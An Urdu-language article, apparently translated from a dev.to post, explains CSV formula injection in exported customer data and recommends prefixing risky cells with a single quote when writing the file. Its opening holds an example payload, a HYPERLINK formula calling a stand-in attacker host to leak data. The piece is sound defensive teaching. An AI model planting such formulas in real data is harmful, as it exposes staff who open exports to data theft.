CSV انجیکشن: وہ ایکسپورٹ بٹن جو کوڈ چلاتا ہے

ایک صارف اپنا نام درج کرتا ہے۔ وہ لکھتا ہے =HYPERLINK("http://evil.example/leak", "click")۔ آپ کا سسٹم اسے قبول کر لیتا ہے۔ یہ عام متن (plain text) کی طرح نظر آتا ہے۔

ہفتوں بعد، آپ کی فنانس ٹیم کسٹمر کی فہرست کو CSV میں ایکسپورٹ کرتی ہے۔ وہ اس فائل کو Excel میں کھولتے ہیں۔ وہ سیل اب متن نہیں رہا، بلکہ ایک فارمولا بن چکا ہے۔

اسے CSV انجیکشن کہا جاتا ہے۔ لوگ اسے فارمولا انجیکشن بھی کہتے ہیں۔ یہ ای کامرس پینلز میں ایک عام بگ (bug) ہے۔ زیادہ تر ٹیمیں اس کے لیے ٹیسٹنگ نہیں کرتیں۔

اسپریڈ شیٹ ایپس ہر سیل کو متن کے طور پر نہیں دیکھتیں۔ اگر کوئی سیل =, +, -, یا @ سے شروع ہوتا ہے، تو Excel یا Google Sheets اسے ایک فارمولے کے طور پر پڑھتا ہے۔

ایک فارمولا ریاضی سے زیادہ کام کر سکتا ہے۔ یہ ایک URL بنا سکتا ہے۔ یہ نیٹ ورک سے رابطہ کر سکتا ہے۔ بعض صورتوں میں، یہ کمپیوٹر پر کمانڈز چلا سکتا ہے۔

ڈیٹا آپ کے ڈیٹا بیس میں متن ہی رہتا ہے۔ جیسے ہی کوئی انسان فائل کھولتا ہے، یہ قابلِ عمل (executable) بن جاتا ہے۔ عام طور پر، شکار وہ اسٹاف ممبر ہوتا ہے جس کے پاس اعلیٰ سطح کے رسائی کے اختیارات (access levels) ہوں۔

آپ وہاں خطرے میں ہیں جہاں کہیں بھی آپ صارف کا ڈیٹا ایکسپورٹ کرتے ہیں:

  • کسٹمر کے نام اور پتے کی ایکسپورٹ
  • CSV میں ایکسپورٹ کیے گئے آرڈر گرڈز
  • وینڈرز سے پروڈکٹ فیڈز
  • کانٹیکٹ فارم ڈمپس

حملہ آور کو ایڈمن رسائی کی ضرورت نہیں ہوتی۔ وہ اپنا نام ایک فارمولے کے طور پر سیٹ کرتے ہیں اور انتظار کرتے ہیں۔

اسے ان پٹ ویلیڈیشن (input validation) کے دوران ٹھیک کرنے کی کوشش نہ کریں۔ جب تک اسپریڈ شیٹ اسے نہیں پڑھتی، یہ ایک جائز متن ہے۔ اس کے بجائے، جب آپ CSV فائل لکھ رہے ہوں تو ڈیٹا کو صاف (sanitize) کریں۔

اگر کوئی سیل =, +, -, @, ٹیب (tab)، یا کیریج ریٹرن (carriage return) سے شروع ہوتا ہے، تو اس کے شروع میں ایک سنگل کوٹ (') لگا دیں۔

مثالی منطق (logic): اگر ویلیو کسی ٹرگر کیریکٹر سے شروع ہوتی ہے، تو "'" + value واپس کریں۔

سنگل کوٹ اسپریڈ شیٹ کو بتاتا ہے کہ اس سیل کو متن کے طور پر ہی لے۔ اسپریڈ شیٹ صارف سے اس کوٹ کو چھپا دیتی ہے۔ فائل میں شامل ہونے سے پہلے ہر فیلڈ کو اس چیک سے گزاریں۔

اپنے ڈیٹا بیس میں ڈیٹا کو ایسکیپ (escape) نہ کریں۔ ویلیو آپ کے ڈیٹا بیس میں ٹھیک ہے اور آپ کے HTML میں بھی ٹھیک ہے۔ یہ صرف CSV میں خطرناک ہے۔ اپنے ڈیٹا کو دوسری جگہوں پر صاف رکھنے کے لیے CSV کی حد (boundary) کی حفاظت کریں۔

اپنے اندرونی ایکسپورٹس پر بھروسہ کرنا چھوڑ دیں۔ حملہ آور ان فائلوں کے ذریعے آپ کے عملے کو نشانہ بناتے ہیں۔

CSV انجیکشن خوفناک اسکینر الرٹس پیدا نہیں کرتا۔ یہ اس ایکسپورٹ بٹن میں چھپا ہوتا ہے جو آپ نے سالوں پہلے بنایا تھا۔ اپنے CSV ایکسپورٹ کوڈ کو ابھی چیک کریں۔ اگر آپ ہر سیل کے پہلے کیریکٹر کی حفاظت نہیں کرتے، تو آپ خطرے میں ہیں۔

ماخذ: https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6